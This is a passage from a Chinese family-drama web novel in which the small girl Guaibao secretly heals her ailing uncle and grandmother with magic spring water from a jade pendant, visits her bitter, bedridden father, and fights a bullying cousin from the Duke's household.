顾应柏捂着胸口连咳嗽不止,脸憋的发青。
他一口气没提上来,嘴里噎出,一大滩血,染红了桌案上的宣纸。
顾应柏眼眶微红,无力地瘫坐在椅子上。
“公子!”小厮走进来,吓了一跳。
“奴才去给您叫大夫来。”
“不必了。”顾应柏开口道。
小厮皱巴着一张脸,“公子,您都吐这么多血了,身子也一天比一天差,再这么下去老夫人也迟早会知道,您这是何必呢……”
“瞒着。”顾应柏心知自己这身体,已经是日薄西山。
就算看多少大夫,吃多少药都无用。
“公子,那您先喝药吧,喝了药好受些。”小厮把药碗端到顾应柏跟前。
顾应柏抿了抿唇,口腔里一股铁锈味,端了边上的茶漱口。
闻着那味道发苦的药,他抓着手帕咳了几声,“一会儿再喝。”
等小厮收拾完桌案,他又抓起了账本。
“公子,您别看了,歇会儿吧。”小厮愁得皱起了眉头,劝道。
顾应柏压根没搭理他,一边抓着手帕侧头捂嘴咳,一边看着账本对账。
“公子,这药再不喝就凉了。”小厮没忍住,开口又提了一句。
顾应柏蹙眉,嫌他聒噪,摆手示意他退下。
三弟能保住命已是大幸,能否继续入朝更是未知数。
没了权势,日后府上只会更加艰辛。
他已时日无多,在临死前还得多为母亲跟弟弟们打算着些。
小厮欲言又止,犹豫地看了眼顾应柏,正准备退下。
“等等,你去库房把我前些日子得来的檀木镶金盒子给乖宝。”
顾应柏握着手里的账本又道:“再取几匹颜色鲜亮些的料子,给乖宝做几身衣裳。”
说到这儿,他又想起乖宝头上几乎没几件首饰,又嘱咐道:“再取五百两银子送过去。”
“我记得斋宝阁最近出了几样新亲,你派人让她们送一些,小姐能戴的过来。”
斋宝阁是将军府名下的铺子,一直都由顾应柏打理。
“下去吧。”顾应柏用衣袖遮嘴,又咳了起来。
“奴才知道了。”小厮退下前,又看了一眼咳血的顾应柏。
要不然他偷偷去找夫人吧,公子每次都背着他不喝药,再这么下去身子还能撑
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几天?
乖宝从顾应柏那出来后,就回自己院子用午膳了。
吃完,她趴罗汉桌边,看嬷嬷给自己做好看的锦囊。
脑子里却还在想,要怎么才能,在不被发现的情况下。
让大伯喝下泉水呢?
想着想着。
乖宝小下巴搁桌上,眼皮往下耷拉。
“嘶……”嬷嬷吃痛的叫了一声。
乖宝立马睁开了眼睛,“嬷嬷怎么了?”
“没事,就是不小心剪到了手。”嬷嬷放下剪子,捏着自己的指腹。
指腹上的伤口染红了手指头,还沾染了些在缝了一半的锦囊上。
“可惜,弄脏了,奴才给小姐重做一个。”
“不用呀,洗干净就好啦。”
乖宝抓起了那锦囊,不让嬷嬷丢掉,“嬷嬷,你手手受伤啦,流了好多血。”
她抓起边上,一块手帕,给嬷嬷擦血。
嬷嬷连忙阻止她的动作,抓起手帕裹住伤口,“小姐,奴才自己来就好了。”
心知小姐单纯善良,根本就没把她当下人。
嬷嬷盯着乖宝,心里一阵感动。
乖宝小鼻子动了动,吸着气,脸一沉,小眉头紧锁。
她想起来了,就是这个味道!
正想着,顾应柏的小厮带人走了进来,在屋内放了两个大箱子。
而后他又将手里,檀木镶嵌金边的盒子放在桌上。
“小姐,这些东西都是大公子,吩咐给您的。”
乖宝扫了一眼桌上的东西,仰头冲小厮摆摆手。
小厮见乖宝有话要对自己说,俯下身,耳朵贴着乖宝的嘴边。
“大伯,他是不是受伤了?为什么有血味。”乖宝轻声问。
她知道这个小哥哥是大伯身边的人,大伯不想告诉别人自己受伤了。
那这个哥哥可能知道哦。
小厮愣了下,眼里瞬间闪过一丝暗芒。
是啊!
公子,不想其他主子知道,但也没说不让小姐知道。
“小姐,我家公子病了还咳血,药也不喝……”你要不劝劝公子。
他话还没说完。
乖宝快速从罗汉床上滑了下去:“那我去找大伯。”
她就说大伯怎么看着那么难受。
小厮反应过来时,转身抬眸,就看到她已经跑出去了,正迈着小碎步往前冲。
不由赞叹,小姐真聪明!
一点就通。
第七章 回光返照?
乖宝刚跑到顾应柏房间门口,就听到一阵剧烈的咳嗽声。
“噗!”顾应柏一口血,喷在手帕上。
一口气没提上来,脑袋一歪,晕在了椅子上。
乖宝一推开门就看到这一幕,小脸吓的发僵,“大伯。”
她小跑过去,拿起了茶壶,把里面的半壶水全都给倒掉。
然后打开了茶壶盖子,从衣襟里拿出了玉佩,放在茶壶口。
顷刻间,茶壶里瞬间注满了水。
乖宝立刻,踹好玉佩,拿了杯子倒水,踮起脚尖,喂顾应柏喝。
“大伯,喝水……”
顾应柏被激烈的咳嗽呛醒,缓缓睁开眼睛,映入眼帘的是乖宝那张脸。
“水,大伯。”
“乖宝,你怎么在这?”顾应柏接过她手里的杯子。
乖宝一双深黑色的大眼睛,直勾勾盯着他手里的水杯,推了推示意他喝。
“好,大伯喝。”
顾应柏被乖宝盯得心发软,小家伙这么关心他,就算是**他也很难拒绝。
他仰头端着茶杯一口饮尽。
顾应柏抿了抿唇,这水跟普通水没什么区别,就微微有些甘甜。
因为常年喝药,吃什么都很寡淡。
这还是他头一次觉得水不错。
“乖宝,这是什么水?”
乖宝睁大眼睛,大伯喝出来了?
“就……就普通的水水呀。”乖宝垂着小脑袋,小声开口道。
“这样啊。”顾应柏盯着手里的杯子,抿了抿唇。
“大伯,你现在感觉舒服了吗?还难受吗?”
被乖宝这么一问。
顾应柏微微蹙眉,这才注意到身体的变化。
明明刚才他难受的胸口发闷,呼吸都喘不上气来,脑袋发晕,现在竟然觉得胸口没那么闷了,头也不晕了。
“好多了。”
“大伯,你以后要好好喝药知道吗?”乖宝面带严肃的,盯着大伯。
顾应柏放下杯子,捏了捏她的鼻子:“乖宝,大伯,现在感觉好多了,你别担心。”
“哼!大伯都吐血啦,乖宝都看到啦,还晕倒了。”
乖宝气鼓鼓地皱起眉头,眼中带着谴责的神色。
这么样,就跟他以前上学的夫子似的。
顾应柏莫名的心虚,摸了下鼻子,“大伯,知道错了,以后会乖乖喝药。”
“不过乖宝你看,药都凉了,大伯就先不喝了哈。”
“大伯一点也不听话,不乖。”乖宝又道。
“明天一定要好好吃药知道了吗?”
顾应柏自知理亏,顺着她的意思点点头:“大伯知道了,乖宝。”
不知道为什么,被这么一个三岁小孩,管着还挺特别的。
就在此时,外头传来一阵脚步声,还有车轮轻轻滑过地面的声音。
顾夫人被人推了进来,就看到他们叔侄不知道依偎在一起,不知道在嘀咕着什么。
“你们叔侄俩,这是在做什么?”顾夫人好奇地问道。
顾应柏闻言,立刻冲乖宝眨了眨眼睛,做了一个噤声的手势。
乖宝歪头,侧过小身子,不搭理他。
顾应柏扯了扯乖宝的衣服,乖宝轻“哼”了一声,迈着小腿朝着顾夫人那边跑,“祖母!”
“乖宝在跟大伯做什么?”顾夫人拉住乖宝的手,脸上不自觉扬起笑。
乖宝回头看了一眼顾应柏,无视了顾应柏示弱的眼神。
“我们……”
顾应柏立刻捂着嘴,轻“咳”了一声,快速打断了她的话。
“娘,乖宝衣服太少了,府里的布料都不太适合她这个年纪,儿子打算让人去外头铺子,再买一些别的料子。”
“你说的对,是该多置办些,乖宝是我们将军府的小姐,头面不能少。”
“翠云,我记得我那有一箱陛下御赐的南海珍珠,还是你们爹当年给我的,对了还有几件上好的云锦也拿去给乖宝做衣裳,还有……”母子娘正张罗着要给乖宝的东西,乖宝则拽了拽顾应柏的衣袖,小脑袋盯着地上带血的手帕。
顾应柏说话之余,顺着怪不得目光看了去,吓得心提到了嗓子眼,赶紧抬脚,将那手帕踩在脚底。
乖宝仰头看了一眼顾应柏,咧嘴笑了笑,被顾应柏捏了一下鼻子。
她若有所思的想,大伯是怕被祖母发现担心吗?
可是大伯要是病的很严重,万一死翘翘了。
祖母会更伤心呀。
顾应柏深吸了一口气道:“也不知道乖宝喜欢什么颜色和款式,府里做衣裳也需要时间,不如就带着乖宝自己去铺子挑。”
“好,明日便带乖宝过去买。”顾夫人开口道。
两人商量完,回头看乖宝。
乖宝不知什么时候,站在一侧正低垂着小脑袋,半眯着
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眼睛,一双小手垂直向下放着,小身板摇摇晃晃。
顾应柏跟顾夫人对视了一眼,忍不住笑了笑。
“乖宝,我们回屋睡觉。”顾夫人声压着声音轻柔道。
乖宝睡眼惺忪地点了点头。
顾夫人示意了一眼,身边的孙嬷嬷,孙嬷嬷上前抱起了乖宝。
顾应柏见她们走后,才俯下身捡起了地上的手帕,捂着嘴轻“咳”了一声。
“嗯?”
顾应柏察觉到一丝不对劲,清了清嗓子,又咳了一声。
这会儿他发现自己好像喉咙没那么痒了,呼吸也顺了。
奇怪。
难道是他病的太厉害了,回光返照。
“公子。”小厮走了进来,见顾应柏站在窗边不知道在想些什么。
他有些心虚地走到桌案边。
小厮给顾应柏倒了杯水,指腹下的杯子有些凉,“公子,这水太凉了,奴才去给你沏壶热的来。”
顾应柏瞥了一眼,他手里的茶壶:“放着。”
他抿了抿唇,似乎口腔内还残留着那水的清甜,抬手从小厮手里拿过那杯子,喝了一口。
顾应柏眼睛一亮,这跟刚才乖宝端给他的一模一样。
“哎,公子,这水凉喝多了对您身子不好。”
小厮赶忙道。
“这水从哪打来的?”顾应柏反问道。
小厮诧异地解释道:“这就是咱们府上的井水。”
顾应柏蹙眉,难道是他喝药喝多了,味觉失灵了?
才会觉得乖宝拿过的水格外的甜。
顾应柏沉着脸道:“乖宝怎么跑我这来了,你是不是跟她说了什么?”
“公子饶命,奴才实在是太担心您了。”
“不过这也的确,不是奴才主动告诉小姐的,是小姐问奴才,您是不是受伤了,说是闻到血味了。”
“奴才这才告诉小姐的。”小厮立刻跪下,求饶道。
顾应柏想到乖宝那张小脸,抽了抽嘴。
原来乖宝早就察觉到了。
“行了,日后没有本公子的命令,不许乱说,再敢乱说打烂你的嘴,下去吧。”
顾应柏神色暗露锋芒,扳着脸道。
“谢公子,奴才这就退下。”小厮起身,往外走,心里暗暗松了一口气。
还得是小姐厉害啊!
公子方才说句话就咳得吐血,小姐一来公子说话的声音都粗了。
第八章 泡一会儿就好了。
乖宝睡醒时,天已经黑了。
“嗯?”她迷迷瞪瞪揉了揉眼眶,黑黢黢的屋子,好像就只有她一个人。
乖宝脑子里立刻浮现出,当初被人关小黑房子里,不管她怎么哭怎么叫,都没有人理她的恐怖场景。
不安的感觉,充斥着她整个小脑袋。
她顿时红了眼睛,泪水不断往下掉,无助地哽咽着道:
“嬷嬷?祖母?”
“乖宝醒了?”床侧传来一道温柔的声音。
乖宝顿住,寻着声音的来源,一脑袋扎进顾夫人的怀里,“祖母,呜呜呜……”
“乖宝,是不是做噩梦了?乖宝别怕,祖母在。”
顾夫人搂着乖宝,轻轻拍了拍她的背,哄道。
“小姐醒了?”孙嬷嬷闻声,小心推门,提着灯笼走了进来。
蜡烛被点亮,屋子被幽黄的光着亮,孙嬷嬷见顾夫人抱着乖宝。
孙嬷嬷熄灭灯笼放下,嘴角勾了勾。
“小姐怎么了?”
乖宝贴在顾夫人怀里的脑袋抬了起来,摇了摇头。
她还以为自己又被,那两个坏蛋抓到了呢。
“乖宝刚来将军府,有些不太习惯。”顾夫人觉得庆幸,下午没让嬷嬷把乖宝送回她自己的屋子里睡。
是她疏忽了。
乖宝太小了,又担惊受怕那么久,根本不适合自己睡。
“你明日叫人把乖宝的东西,拿到我的院子来,日后乖宝就留在我院里。”
孙嬷嬷明白,夫人这是打算亲自养小姐。
“奴婢知道了。”
“乖宝,饿不饿?我们起来用晚膳。”顾夫人摸了摸乖宝的小脸。
乖宝乖乖点了点头,“好。”
吃过晚膳,乖宝被嬷嬷带去洗澡,回来就闻到一股很浓的药味。
只见孙嬷嬷端了个木盆过来,盆子里装着黑糊糊的东西,味道很冲鼻子。
孙嬷嬷伸手探了探水温,“奴婢去加点水。”
乖宝一双眼睛扫过边上的木桶,“乖宝来!”
她还没等孙嬷嬷起身,就飞快跑去侧室。
乖宝望着大浴桶旁边,放着一小半桶水,她从衣襟里面拿出了玉佩,握着玉佩,等了一秒,木桶瞬间注满了水。
祖母的腿不能走路,不知道泉水泡脚,会不会有用。
乖宝记得之前,自己在流浪的时候,没找到水,还用泉水洗过澡跟脚泉水泡脚就很舒服。
祖母泡了应该会好受一点。
“小姐,水太重了,还是奴婢来吧。”身后传来孙嬷嬷的声音。
乖宝立刻将玉佩藏进了自己衣襟里面。
“那好叭。”她转身又迈着步子往卧房走。
孙嬷嬷拿了一边空桶里的大水瓢,正准备舀水,望着那满满一桶水,满脸的诧异。
“奇怪,方才明明就只有一点水,难道是我记错了?”
孙嬷嬷将水瓢里的水倒进木盆内,而后褪去了顾夫人脚上的鞋袜,那双白净的腿被放进了木盆内。
顾夫人蹙了蹙眉,指腹抓着膝盖上的料子,拢成拳头。
“夫人又难受了?”孙嬷嬷立刻问道。
顾夫人摆手,明显感觉到腿上一股暖意抽丝剥茧般,侵入她的骨髓,逐渐驱散那刺骨的疼痛。
宛如多年淤堵的筋脉,被一寸寸的冲开,她只觉得又麻又涨,甚至往上延伸,直至四肢,热意袭遍全身,她热的满头大汗。
二十多年前,她同夫君一起镇守边塞,边塞寒苦她就是在那冻伤了腿,回到京城后,寻遍了名医,都未能治好。
疼痛日日加深,最终她疼得根本没法再站起来。
每晚只能靠用药泡脚缓解疼痛,白日里疼痛稍好些,却也如针扎一般,时不时折磨着她。
一旦她动一动腿,那剧烈的疼痛就会席卷而来,叫她痛不欲生。
虽她晚上用用药泡脚有所缓解,但也只是螳臂当车,那药也只能降低些痛感,而且药效也越来越差了,每到深夜她便会被疼醒,需要往被子里塞汤婆子。
而现在她明显感觉,这跟以往完全不一样。
“祖母还难受?”乖宝穿着一身柔软的里衣,好奇地盯着那木盆。
顾夫人摇了摇头,抬手摸了摸乖宝的小脸:“好了一些。”
“嘿嘿!”
乖宝盯着她笑。
这说明泉水还是有效果的。
那乖宝每天都要给祖母泡脚。
顾夫人抿了抿唇,直觉告诉她这事很可能跟乖
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宝有关,心里带着些许期待,或许她的腿真有一日能好呢。
乖宝捂着小嘴打了个哈欠,挠了挠小脑袋:“乖宝要睡觉觉啦,祖母也快睡觉吧。”
“嗯,乖宝快睡吧。”顾夫人替她拉了拉被子,见乖宝闭上眼睛,忍不住又多盯了会儿。
木盆里的水快凉了,顾夫人这才让孙嬷嬷擦干。
她微微抬了下腿,还是疼但没之前那般疼了。
“夫人别急,大夫说了要日日跑,时间长了说不准哪一日就有效果了。”孙嬷嬷劝解道。
顾夫人抬眸,长叹了一声:“二十多年了,要真有效果早就有了。”也不会拖得情况越来越差。
“对了,方才乖宝过去之后,做了些什么?”顾夫人问道。
一说起乖宝,孙嬷嬷怜爱地笑了笑。
“小姐就站在木桶那待着,怕是知道拿不动,就盯着木桶看。”
“没别的,特别的事?”顾夫人猜想,乖宝身上有秘密不想让人发现,怕是会故意背着孙嬷嬷。
“这……对了,就方才奴才记得,木桶里的水连半桶都没了,去舀水时发现水桶是满的,还真是奇了怪了。”
孙嬷嬷以为夫人就是随便问问,倒也没多想:“人年纪大了,记性也不太好了。”
顾夫人侧头看了一眼乖宝,既然乖宝不愿意说,那这件事她就好好藏着。
她凑过去,额头轻轻蹭了一下乖宝的小脸,胸口满腔热血,嘴角微勾。
看来乖宝真是上苍赐给他们将军府的小宝贝。
乖宝睡得很安稳,根本没有一丝醒来的迹象。
丝毫不知道自己的秘密已经暴露了。
……
次日清晨。
乖宝吃完早膳,又拽着嬷嬷,去顾应决的院子。
嬷嬷劝不住她,也只能由着她。
乖宝还没走到门口,就听到了里面的吵闹声。
顾应决愤怒地大声道:
“滚!本将军不需要你们做这些。”
替顾应决擦身的下人小心翼翼道:“将军,您会好的,现在只是暂时的,您忍一忍。”
顾应决冷声道:“我就是个废人,你们还管我作甚?”
“走!你们都给我滚出去。”
第九章 爹已经很可怜,乖宝不能嫌弃他
乖宝顿了顿,小手捏了捏衣袖,爹爹好像很生气。
还凶凶的。
她犹豫着要不要进去。
边上的嬷嬷劝道:“小姐要不我们先回去?”
“不行,乖宝都来了咬看一眼爹爹。”乖宝一脸倔强道。
“嬷嬷,你去厨房看看糕点好了没,乖宝看完爹就去吃。”
“好。”嬷嬷摸了摸她的小脸,小姐真是个孝顺的好孩子,时刻心系着少将军。
也不知道将军什么时候明白。
等嬷嬷走后,乖宝抿了抿唇,像是下定了某种决心。
乖宝迈着步子,悄悄走过去,扒着房门,往里面看。
“还愣着干嘛?你们现在连本将军的话都不听了?”顾应决气势汹汹直接把床榻边上,放着的铜盆给掀翻。
铜盆滚落再地,翻着一阵脆响,地上洒满了水渍。
乖宝看到这一幕,瞪圆了眼睛,爹爹的屋子里怎么还有一股奇怪的味道。
她吸了吸鼻子,好像是药味,还有一股尿味。
爹尿床了?
小厮跪在地上。
顾应决半趴在床榻上,死死盯着地上的人,眼里带着猩红的戾气,手紧紧抓着被褥,手背上的青筋凸起,心中充斥着无力与不甘。
他抓起床榻上的枕头丢在地上。
顾应决像一头需要宣泄的怒兽,咬牙拢拳在床榻上用力捶了几下。
“噗!”他嘴里喷出了一口鲜血,脸上逐渐溢出一颗颗汗液,手紧紧握成拳头,被褥滑下,他肩膀以下的位置,全都用白布包裹,上面还染着血。
顾应决人是醒来了,但除了致命的内脏受损好了外,其他伤口没消减分毫。
“将军您别再乱动了,伤口又出血了。”
小厮赶紧上前去按住他,又被顾应决推开。
少将军肋骨断了五根,还伤了心肺跟其他脏器,腰部也受了重创,下半身根本不能动弹,身上还有其他不小的伤。
能活着都是幸事了。
“本将军的事不用你们管!”顾应决咬着牙道。
小厮端起了地上的铜盆,正准备出去收拾一下,抬眸就看见乖宝伸着小脑袋往里探。
“小姐?”
顾应决闻声望了过去,见乖宝一双灵动的大眼睛盯着自己,语气冷硬:“你来干什么?”
乖宝见自己被发现,慢悠悠走了进来,怯生生地开口:“爹爹……”
“出去。”顾应决回眸。
“爹,乖宝想过来看看你,你好点了吗?”乖宝有些拘束地往前走了几步。
“你要是不想见到乖宝,乖宝一会儿就走。”
小家伙语气软糯,又长着一张酷似柳玉烟的脸,只要一看到她顾应决就没办法忽视她的存在。
心里觉得讽刺。
顾应决勾唇冷笑,如今他就是个残废,柳玉烟要是看到指不定心里庆幸,当初没选他。
这小崽子现在还小,需要将军府。
哪天不需要了,知道他不是亲爹,指不定心里多开心。
乖宝见顾应决没说话,又继续道:“爹爹一定会好的。”
“你才多大,知道什么?”顾应决看到她那张脸,心里就来气。
乖宝见他不信,开口道:“我当然知道啦,乖宝就生过病,流浪的时候乖宝脑袋烫烫的,浑身都疼,躺在小树洞里面,以为自己要死惹,乖宝睡一觉醒来,就发现自己好啦。”
她灵动地说起自己的遭遇,说到艰难痛苦之处,皱起了眉头,仿佛沉浸在其中,而后松懈下来,咧嘴露出笑意。
甚至还比划着小手,绘声绘色的想要尽可能说清楚。
乖宝太小了,要一次性讲这么多话,对她来说有些难,说话的声音也含含糊糊的。
顾应决垂眸,见她红着小脸,喘着气还在说。
他有些不耐,撇了撇嘴。
“知道了,你可以闭嘴了。”
不知道为什么,听着这小崽子叽里咕噜说话,他内心那没法压下的焦躁感,莫名得到了片刻的平息。
听着顾应决凶巴巴的语气,乖宝乖乖深吸了一口气,站那儿一动不动。
爹现在肯定是受伤,不能下地,心情不好,所以才会这样。
他对其他人也这样,应该也不是故意这么对乖宝。
爹已经很惨了,不能自己走路,只能尿在床上。
乖宝不能嫌弃他。
就在此时,小厮端着个托盘,走了进来。
“将军,该喝药了。”
药被放在了床榻边的矮桌上,顾应决瞥了一眼那黑黢黢的药,却没有第一时间喝。
乖宝望着那碗药,看着就好难喝,爹也不想喝吧。
“爹
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爹,乖宝给你吹吹。”她知道爹不想喝药,她希望爹能开心一点。
顾应决并未阻止,眉头蹙了蹙,这小孩怎么一点也不记仇。
方才他都那么凶了,她还能对他好。
“放着。”
“那好吧。”乖宝又放下。
顾应决见她一直盯着那药,蹙了蹙眉,抬手端起碗吹凉了一饮而尽,“现在可以走了?”
这药真苦!
顾应决说完,苦的抽了抽嘴,差点把嘴里的药吐出来,强行咽了咽,半张脸都起了褶子。
乖宝见爹喝完药,看着很难受的样子,从腰间拿出了一个锦囊,从里面拿出一颗方糖,递到顾应决嘴边:“爹吃,甜的!”
嬷嬷昨天给她缝好之后,她就戴上了还在里面装了好多吃的。
顾应决脸色变了变,抬手推开她。
这个小崽子怎么跟她娘一样,惯会用这些小把戏哄人!
乖宝腿脚不稳地栽倒在地上,手里的锦囊跟糖块也掉在了地上,她瞬间红了眼睛,盯着地上的糖块,又看了一眼床上的顾应决,心里觉得委屈。
顾应决对上她那双大大的眼睛,呼吸有些紧,心里搅着一团火似的。
让她走她不走,非要触霉头。
“应决,你这是干嘛?”
不知什么时候站在屋外的顾应柏,正好看到这一幕,脸色铁青地走了进来。
“你闹脾气,也该有个限度,乖宝还这么小,你冲她撒什么火。”
顾应柏俯下身将乖宝拉了起来,捧着她的小脸,“乖宝,不哭,大伯在这儿。”
“大伯。”乖宝一脑袋扎顾应柏怀里,发红的小眼睛了,再也憋不住地低落下两行泪,哽咽地叫了顾应柏一声。
顾应柏让她这么一叫,伸手搂着乖宝,拍了拍她的小背,侧头狠狠剐了顾应决一眼,说着气话。
“别理你爹,他想死就让他死好了。”
“作践别人作甚。”
“那……那还是不行,乖宝不想让爹爹死。”乖宝扬起脑袋,含着泪湿乎乎地抽泣。
“听到没?就这样你还不知足,有乖宝这样孝顺可爱的女儿,你是一点不知道珍惜。”顾应柏语气带着训诫道。
床榻上的顾应决沉着脸没说话,这小东西才来将军府多久,怎么一个两个都帮着她说话。
第十章 乖宝跟人打架,爹急了
顾应柏俯下身,抽出手帕给乖宝擦了擦眼泪,歪头又轻咳了一声,“乖宝不哭,大伯替你把锦囊捡起来好不好。”
她含着泪水,大伯都病成这样了,还要照顾乖宝。
“乖宝自己来吧。”
顾应柏对上乖宝担忧的目光,按住了她的肩膀。
“这点小事大伯还是能做的。”
他俯下身,一边咳嗽一边捡起锦囊,“咳……糖块脏了,一会儿让嬷嬷给你再装一些。”
“谢谢,大伯。”乖宝盯着顾应柏,仰头道。
看来上次喝的那些水,没保持多久,她感觉大伯又快恢复到之前那样了。
她得想个办法,让大伯再多喝点水。
“嗯,出去玩吧。”顾应柏把锦囊挂在她腰间。
“好。”
乖宝点头,含了含泪水,侧头看了一眼在床榻垂着头的顾应决,撅着小嘴巴,看上去气鼓鼓的。
哼!
爹这次太过分了。
乖宝真的生气了。
现在心情不好,就先不搭理爹了。
等乖宝气消了,在决定要不要原谅爹。
小团子走后。
顾应柏捂着嘴咳了一声,“你这当爹的,能不能像个样,乖宝哪招惹你了。”
“你不给好脸色又算了,怎么还动手。”
“太不像话了。”
“我早说过让她别来。”顾应决说话的声音有些低。
顾应柏蹙眉,心知三弟倔,没再继续说下去。
想起了方才下人禀告自己的事,顾应柏又道:“我知道你心里郁闷,但将军府如今的情况,已经不起任何折腾。”
“你就算是为了将军府为了娘,也别闹了,好好活着。”
应决曾经是叱咤风云的大将军,如今却只能蜷缩在床上,下半身不能动弹。
这对于一个把舞刀弄枪看的比命都重要的人来说,这比杀了他还难受。
没人能劝得了他,这些事只能他自己想清楚。
——
乖宝出了顾应决的屋子,一边迈着步子往花园那边跑,一边用自己的衣袖擦了擦脸上泪。
她要去找嬷嬷,然后让嬷嬷拿好吃的糕点。
不开心就要吃好吃的!
乖宝正想着一会儿要吃的酥脆糕点,突然眼前冲出来个人,直奔她而来,她想躲时已经来不及了。
“砰!”
乖宝被撞倒,仰头瘫坐在地上,对面的人比她高一半个脑袋撞得坐倒在地上。
小男童身穿着橘黄色的锦衣,头上戴着个虎头帽,胸口还挂着一个金项圈,长得还细皮嫩肉,胖乎乎的,手有乖宝腿粗,看着约莫六七岁的样子。
他捂着鼻子,眉头紧锁,吃痛的呻吟:“唔……嘶……”
“臭丫头,你撞了本公子,还不快给本公子道歉,小心本公子叫人把你丢给人牙子!”顾庄弛瞥了她一眼,见乖宝还愣在那,顿时大声呵斥道。
乖宝说话太急,咬字有些不清晰:“明明就是你突然冲出来,撞得我,窝凭什么跟你道歉。”
顾庄弛盯了乖宝一眼,将军府里的人他都见过,就跟前的小丫头没见过,而且看这穿着也不像丫鬟。
他扬起脑袋,挺着小胸脯跟圆溜溜的大肚子,一双肉手插腰上,脸上的肉挤在一起,眼睛显得有些小,用审视的目光打量乖宝。
“哦,我知道了,你就是将军府最近认回来的野丫头?”
乖宝听着他轻蔑的语气,抬头瞪他:“你是谁呀?我不是野丫头,我叫乖宝。”
“你就是野丫头,一个从哪冒出来的小乞丐,还说是将军府的小姐。”顾庄弛仗着自己高,挺着小胸,俯视乖宝。
“你才是野小孩!我不是。”乖宝气红了脸。
“你个小胖子,臭胖子。”
顾庄弛最讨厌别人叫自己胖子,仗着自己的身高和体重,用自己肉乎乎的胸口撞乖宝。
“你最好给我好好说话,要不然以后没你好果子吃!”
乖宝身高跟体重都不占优势,被撞得连连往后退,小手紧握成拳头,尽量让自己不被撞倒。
“我才不要吃果子,我要吃肉。”
这个臭胖子真烦,干嘛总是撞她?
就因为她肉,没他肉多嘛。
太可恶了!
顾庄弛抽嘴,嘲笑道:“小土包子,连这话都不懂,蠢**,肯定连字长什么样都没见过吧。”
乖宝听到对方骂自己,气得鼓起了腮帮子,“乖宝不蠢,你才是蠢猪。”
统子说过,不能惹祸,但是要有人欺负她那就还回去。
“小胖猪!”
顾庄弛被她这一句骂的,气得脸涨红:
“我告诉你,我是顾国公府的二公子,我爹是国公世子,而你爹都**!”
“你们将军府老的腿废了,年轻的身体弱的快要**,还有一个疯子,这将军府马上就要完蛋了。”
“你一个小丫头片子,能顶什么用,我娘说了很快将军府的一切都是我的
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,只要你现在跪下来,给我当奴隶,小爷以后还能对你好点。”
“你胡说!”乖宝不许任何人说她爹,祖母还有大伯。
顾庄弛肥嘟嘟的脸扬着笑容,得意地开口道:
“我胡说?你祖父跟我祖父是亲兄弟,将军府无人继承家业,难道还指望你一个来路不明的小丫头?”
“你个坏蛋,闭嘴吧!”乖宝抬脚踩他,又立刻揣了他一脚,麻溜地转身,握紧拳头往他脸上砸了一拳头。
乖宝好歹在孤儿院孩子堆里长大的小孩,又经历过长达半个月的流浪,好几次从人贩子等人手中逃脱,那还是有些本事在身上的。
她的每一下都打在肉里,钝痛顺着皮肤钻肉里。
顾庄弛疼得脸色煞白,又是跳脚,又是捂脸,又是摸膝盖。
“嘶……好疼!”
“你个小杂种,还敢动手,本公子今天要好好教训你。”顾庄弛忍着疼,拧起肉拳头朝乖宝砸去。
乖宝小身板灵动地绕开了,顾庄弛因为动作太急,踹到了地上的小石子,摔了个狗啃泥。
牙磕掉了一颗,他疼得仰着头,嚎啕大哭:“啊啊啊!呜呜呜……”
顾庄弛含着泪,斜眼愤恨地望着她:“你等着,我让我祖母来教训你!”
“略略略,你先爬起来再说吧。”乖宝冲他吐了吐舌头。
离此处靠近的院子内。
顾应决趴床边上,握着本书在看,隐约听到孩子哭声,眉头微皱,以为自己太累了耳朵出幻觉了,捏了一下眼角。
谁知那声音越来越大。
那小崽子哭这么伤心?
她刚才不是挺能忍嘛,让她出去偏要待这儿。
现在又哭成这样。
“外面怎么回事?”顾应决想起那张满脸泪痕的脸,心里有些郁闷,开口问道。
“回公子,好像是小姐跟国公府的庄弛小公子打起来了。”小厮进来禀告道。
“不过小姐那小身板,哪能是庄弛公子的对手,庄弛公子长得比小姐高又壮,平日又嚣张跋扈,这来一拳头,小姐脸都得毁了,在严重点说不定头破血流……”
顾应决心知小厮说的不假,顾庄弛那就是顾国公府的小霸王,没少打架,那身板压下去,乖宝还不得被他按着揍,那小子动手还没轻没重的。
他沉默了片刻,烦躁地把书丢一半:“你过去看看,哭这么久了,府里的人都是死的吗?”
“孩子也管不住。”
第十一章 小崽子还挺能打,没给将军府丢人
下人出去没多久,那边的哭声停了。
“回将军,小的过去时,其他下人也都已经过去了。”
“小的问了才知道,不是小姐被打,是顾国公府的庄弛小公子被小姐揍了,您刚才听到的哭声是庄弛公子的。”下人回来后,解释道。
顾应决没说话,抿了抿唇。
这小崽子人看着又瘦又小,还挺能打,没给将军府丢人。
“小的看那庄弛公子,鼻青脸肿的,长得那大个,还没小姐能打,小姐不愧是将军的女儿,小小年纪,就是个练武奇才。”边上的下人明显感觉顾应决心情还不错,又继续道。
顾应决听着,脸色又沉了下去,“你滚吧。”
小厮都不知道自己到底哪句话说错了,公子怎么好端端的又突然变脸了。
将军现在真是越来越阴晴不定了。
顾应决看着小厮退下的身影,气得把身侧的书丢地上。
——
“嬷嬷,乖宝是不是做错了?”
乖宝跟人打完架后,这才开始有些心虚。
嬷嬷捏着她的手,放铜盆里,轻柔地搓着她的小肉手上面的泥垢。
“怎么会,谁让他惹了小姐,我们小姐又不是那种会主动欺负别人的孩子。”嬷嬷用面帕给她擦脸,轻声哄着道。
“肯定是他先欺负人在先。”
“嘿嘿!乖宝厉害吧。”她想起那小胖子,离开时撅着**从后门溜出去的样子。
乖宝忍不住咧嘴笑了笑,捏了捏小肉拳头。
“我们家小姐当然是最棒的。”嬷嬷摸了摸她的额头,有些讶然。
这儿之前撞到的地方已经彻底消了,现在还剩一个小点,恢复的真快,这才几天。
不过她也没多想,只当小孩子比成年人愈合能力强。
乖宝之前松弛往下拉的脸,现在也圆了一点,两腮微微发鼓,逐渐饱满起来。
嬷嬷心里估摸着,小姐再养个半个月,小姐才能看着不那么瘦了。
“小姐,今天厨房有凤梨酥,还有杏仁糕,绿豆糕,奴婢都拿了些过来。”嬷嬷把乖宝抱到凳子上,打开了食盒盖子,糕点的香味瞬间从食盒里飘了出来。
清香扑鼻而来,乖宝吸了吸鼻子,小手捏了一小块凤梨酥,捧在手上,小小咬了一口,小嘴缓缓咀嚼,藕节一样的小手指头上沾了一点糕点碎末,她给碎末吃掉,又继续咬糕点。
“嗯……好吃,里面还有这个。”凤梨酥外面是一层薄脆,里面是有一层夹心果馅。
“嬷嬷也吃。”
